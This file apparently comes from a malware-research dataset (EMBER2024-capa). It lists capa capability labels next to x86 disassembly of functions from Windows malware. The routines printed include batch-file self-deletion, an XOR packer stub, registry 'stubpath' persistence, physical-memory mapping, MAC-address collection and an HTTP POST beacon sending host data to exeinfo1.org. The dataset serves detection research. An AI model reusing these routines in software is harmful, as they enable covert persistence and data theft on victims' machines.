joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4036c6
Capabilities:
Create process on windows
Resume thread
Self delete

Disassembly:
push ebp
lea ebp, [esp - 0x1e0]
sub esp, 0x260
mov eax, dword [0x42f180]
xor eax, ebp
mov dword [ebp + 0x1dc], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp + 0xd8]
push eax
xor edi, edi
push edi
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp + 0xd8]
push eax
lea eax, [ebp - 0x2c]
push str._s.bat
push eax
call fcn.00418852
lea eax, [ebp - 0x2c]
push 0x425fc0
push eax
call fcn.00418852
mov ebx, eax
push str.:Repeat_n
push ebx
call fcn.00408778
lea eax, [ebp + 0xd8]
push eax
mov esi, str.del___s__n
push esi
push ebx
call fcn.00408778
lea eax, [ebp + 0xd8]
push eax
push str.if_exist___s__goto_Repeat_n
push ebx
call fcn.00408778
lea eax, [ebp - 0x2c]
push eax
push esi
push ebx
call fcn.00408778
add esp, 0x40
push ebx
call fcn.00408fa6
push 0x44
pop esi
push esi
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.004076c0
add esp, 0x10
xor eax, eax
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0x4253ac
push edi
push esi
push edi
push edi
push edi
lea eax, [ebp - 0x2c]
push eax
push edi
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x54], 1
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x4037e7
mov esi, dword [sym.imp.kernel32.dll_SetThreadPriority]
push 0xfffffffffffffff1
push dword [ebp - 0x38]
call esi
push 0xf
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call esi
push 0x80
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_SetPriorityClass]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call dword [sym.imp.kernel32.dll_ResumeThread]
push dword [ebp - 0x38]
call esi
mov ecx, dword [ebp + 0x1dc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407875
add ebp, 0x1e0
leave
ret

Function at 0x403989
Capabilities:
Delete file

Disassembly:
push esi
push 0x3a
push dword [esp + 0xc]
call fcn.00407290
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x40399f
pop esi
ret
inc esi
movsx eax, byte [esi]
push eax
call fcn.00418852
pop ecx
test eax, eax
jne 0x40399f
push esi
call dword [sym.imp.kernel32.dll_DeleteFileA]
pop esi
ret

Function at 0x4039b7
Capabilities:
Delete directory

Disassembly:
push esi
push 0x3a
push dword [esp + 0xc]
call fcn.00407290
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4039cd
pop esi
ret
inc esi
movsx eax, byte [esi]
push eax
call fcn.00418852
pop ecx
test eax, eax
jne 0x4039cd
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
pop esi
ret
Function at 0x4044dd
Capabilities:
Delete file
Read .ini file

Disassembly:
mov eax, 0x1004
call fcn.00408e10
mov eax, dword [0x42f180]
xor eax, esp
mov dword [esp + 0x1000], eax
push ebx
push ebp
push esi
push edi
push dword [0x43292c]
mov edi, dword [sym.imp.kernel32.dll_GetPrivateProfileStringA]
mov ebp, 0x1000
push ebp
lea eax, [esp + 0x18]
push eax
mov ebx, 0x425524
push ebx
push str.title
mov esi, 0x425f40
push esi
call edi
push 0x50
pop ecx
lea eax, [esp + 0x10]
mov edx, 0x431140
call fcn.00418852
push dword [0x43292c]
lea eax, [esp + 0x14]
push ebp
push eax
push ebx
push str.info
push esi
call edi
mov ecx, ebp
lea eax, [esp + 0x10]
mov edx, 0x431580
call fcn.00418852
push dword [0x43292c]
push 0x50
push 0x4327c0
push ebx
push str.build_info
push esi
call edi
push dword [0x43292c]
mov ebp, dword [sym.imp.kernel32.dll_GetPrivateProfileIntA]
push 1
push str.target_compile
push esi
call ebp
push dword [0x43292c]
mov dword [0x431194], eax
push 1
push str.target_optimize
push esi
call ebp
push dword [0x43292c]
mov dword [0x431190], eax
push 0xa
push 0x432590
push ebx
push str.target_version
push esi
call edi
push dword [0x43292c]
push 0x50
push 0x4312c0
push ebx
push str.name
push str.metadata
call edi
push dword [0x43292c]
push 0x104
push 0x4311a0
push ebx
push str.install_script
push esi
call edi
push dword [0x43292c]
mov ebp, 0x431550
push 0xa
push ebp
push ebx
push str.user_access_control
push esi
call edi
push 6
mov edi, str.force
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40462b
call fcn.00418852
test eax, eax
je 0x404688
call fcn.00403547
test eax, eax
jne 0x404688
call fcn.00418852
jmp 0x4046cb
push 5
mov edi, str.auto
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x404658
call fcn.00418852
test eax, eax
je 0x404688
call fcn.00403547
test eax, eax
jne 0x404688
call fcn.00418852
test eax, eax
je 0x404688
jmp 0x404621
cmp byte [0x431550], al
je 0x404688
push 5
mov edi, str.none
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x404688
push eax
push str.oops
push str.Bad_user_access_control_value
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x431140
call fcn.00402766
push eax
mov dword [0x432580], eax
call fcn.00418852
pop ecx
pop ecx
push dword [0x432814]
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov eax, dword [0x43292c]
test eax, eax
je 0x4046bb
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [0x432930]
test eax, eax
je 0x4046cb
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [esp + 0x1010]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00407875
add esp, 0x1004
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x418852
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x418861
pop dword [ebp - 0x14]
mov eax, 0xa397b2c2
sub eax, 0xa3562a61
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3d900
push 0
mov eax, 0xabb022a8
sub eax, 0xab6dd090
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x46b5
xor ebx, ebx
add ebx, eax
mov esi, 0x355746fd
add esi, 0xcaec0d03
add esi, dword [ebp - 0x14]
mov edi, 0x74d4ff2a
add edi, 0x79e4d6f3
sub dword [ebp - 0xc], edx
mov edx, dword [esi]
xor dword [ebp - 0xc], 0x52d4bf6b
add edx, edi
mov dword [ebx], edx
xor dword [ebp - 0xc], 0x2dacc446
add ebx, 0x4050f0b4
sub ebx, 0x4050f0b0
add esi, 0x722cd183
add esi, 0x8dd32e81
loop 0x4188bc
add eax, 0x57e12b4c
add eax, 0xa81fe25b
mov ebx, eax
add eax, 0x1341590b
add eax, 0xecbea6fa
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x5f273cdd
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x36092318
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x402079
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.004042b8
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40d994]
test eax, eax
je 0x4021a4
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40d948]
test eax, eax
je 0x4021a4
lea eax, [ebp - 0x108]
push 0x40a9d0
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.004042b8
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4021ab
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004041e0
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4021ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402241
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4022ab
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4022ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.004041e0
cmp eax, 0x26
pop ecx
je 0x4022ab
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.00404260
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x4022af
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402302
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x402302
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.004041e0
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402306
xor eax, eax
jmp 0x402310
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x402314
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.00404a80
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40a1b0]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40d998]
test eax, eax
pop edi
jne 0x4023de
lea eax, [ebp - 0x108]
push eax
call fcn.004041e0
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4023e2
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40d99c]
push 1
pop eax
leave
ret

Function at 0x4026e8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.00404a80
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00402241
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40d9bc
call dword [0x40d9a8]
test eax, eax
pop edi
je 0x40277f
lea eax, [ebp - 0x208]
push eax
call fcn.00402314
pop ecx
leave
ret
Function at 0x403391
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.00404260
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x40346b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.004042b8
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x403417
push str.socket_Error
jmp 0x40345e
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.00404260
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x403469
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x40346b
mov eax, esi
pop esi
leave
ret

Function at 0x40346e
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.00404260
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.004041e0
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x4034b9
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret

Function at 0x40370b
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x284]
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4037a4
push dword [ebp - 4]
push 0
call dword [0x40dac0]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4037ad
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x40379d
mov eax, dword [0x40eac8]
mov ecx, dword [esi + 0x190]
lea edx, [ecx + eax]
cmp edx, 0x1000
jae 0x403797
push ecx
lea ecx, [esi + 0x194]
lea eax, [eax + 0x40dac8]
push ecx
push eax
call fcn.00404730
mov eax, dword [0x40eac8]
add esp, 0xc
add eax, dword [esi + 0x190]
mov dword [0x40eac8], eax
mov esi, dword [esi]
test esi, esi
jne 0x403759
push 1
pop eax
pop esi
leave
ret
add eax, 0xf0000000
jmp 0x4037a9
add eax, 0xe0000000
test eax, eax
je 0x403797
xor eax, eax
jmp 0x40379a
Function at 0x403a09
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], 0xffff
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403b32
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0xffff
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403b32
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00403878
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403b0d
lea eax, [ebp - 4]
push eax
call fcn.004038eb
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403b0d
lea eax, [ebp - 4]
push eax
call fcn.0040395e
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403b2b
mov eax, dword [0x40eac8]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40dac8]
push eax
call fcn.00404730
add esp, 0xc
add dword [0x40eac8], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ed2
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.00404340
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40ad5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dac4], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x40409b
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40dac4]
call fcn.0040370b
call fcn.004037b1
call fcn.00403a09
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.00404260
add esp, 0xc
xor ebx, ebx
cmp dword [0x40eac8], edi
jbe 0x403f85
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40dac8]
push eax
push str._02x
push dword [ebp - 4]
call fcn.004042b8
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40eac8]
jb 0x403f60
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.00404260
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.00404260
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.00404260
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403df1
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.00404260
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403b37
mov esi, 0x40b078
push esi
call fcn.004041e0
mov edi, eax
lea eax, [ebp - 0x484]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.004041e0
lea ecx, [ebp - 0x44]
lea eax, [edi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push esi
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_s_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.004042b8
add esp, 0x48
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401d00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x408318
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
mov esi, ecx
push 8
call sub.MFC42.DLL_AfxRegisterWndClass
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
mov ebx, dword [esp + 0x50]
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x54]
push edi
push ebx
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push str.HTMLListCtrl
push eax
mov ecx, esi
mov dword [esp + 0x50], edi
call sub.MFC42.DLL_CWnd::Create
test eax, eax
jne 0x401d88
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0xffffffff
call fcn.00407cca
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret 0x1c
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x4c]
mov dword [esi + 0x7c], ebx
mov ebx, dword [esp + 0x44]
sub ecx, eax
lea eax, [esp + 0x10]
push 1
mov dword [esi + 0x84], ecx
sub edx, ebx
push eax
push 1
mov ecx, esi
mov dword [esi + 0x88], edx
mov dword [esi + 0x80], edi
mov dword [esp + 0x1c], 0x1c
mov dword [esp + 0x20], 3
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call sub.MFC42.DLL_CWnd::SetScrollInfo
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0xffffffff
call fcn.00407cca
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret 0x1c
Function at 0x4027c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4083eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x4098bc
mov eax, dword [esi + 0x30]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x1c], 1
je 0x402850
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x20]
mov ecx, edx
push ebx
sub eax, ecx
mov ecx, dword [esi + 0x28]
mov ebx, edi
sub ecx, ebx
mov ebx, dword [esi + 0x1c]
cmp esi, ebp
je 0x402817
mov ebp, dword [esi + 4]
push 0xcc0020
push edx
push edi
push ebp
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push edi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 0x18]
pop ebx
test eax, eax
jne 0x402841
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x402856
mov eax, dword [eax + 4]
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x402856
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
lea edi, [esi + 0x10]
mov dword [esp + 0x10], edi
mov dword [edi], 0x4098a8
mov ecx, edi
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, esi
mov dword [edi], 0x409894
mov dword [esp + 0x1c], 0xffffffff
call fcn.00407cf4
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x404750
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 0x60]
push esi
push edi
lea edi, [ecx + 0x60]
mov ecx, dword [eax - 8]
mov byte [esp + 8], 0x2a
test ecx, ecx
mov byte [esp + 9], 0x2f
mov byte [esp + 0xa], 0x5c
mov byte [esp + 0xb], 0x3a
mov byte [esp + 0xc], 0x3f
mov byte [esp + 0xd], 0x3c
mov byte [esp + 0xe], 0x3e
mov byte [esp + 0xf], 0x22
mov byte [esp + 0x10], 0x7c
mov byte [esp + 0x11], 0x20
jne 0x40479c
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret
xor esi, esi
mov cl, byte [esp + esi + 8]
push ecx
mov ecx, edi
call sub.MFC42.DLL_CString::Find
cmp eax, 0xffffffff
jne 0x404794
inc esi
cmp esi, 0xa
jb 0x40479e
pop edi
mov eax, 1
pop esi
add esp, 0xc
ret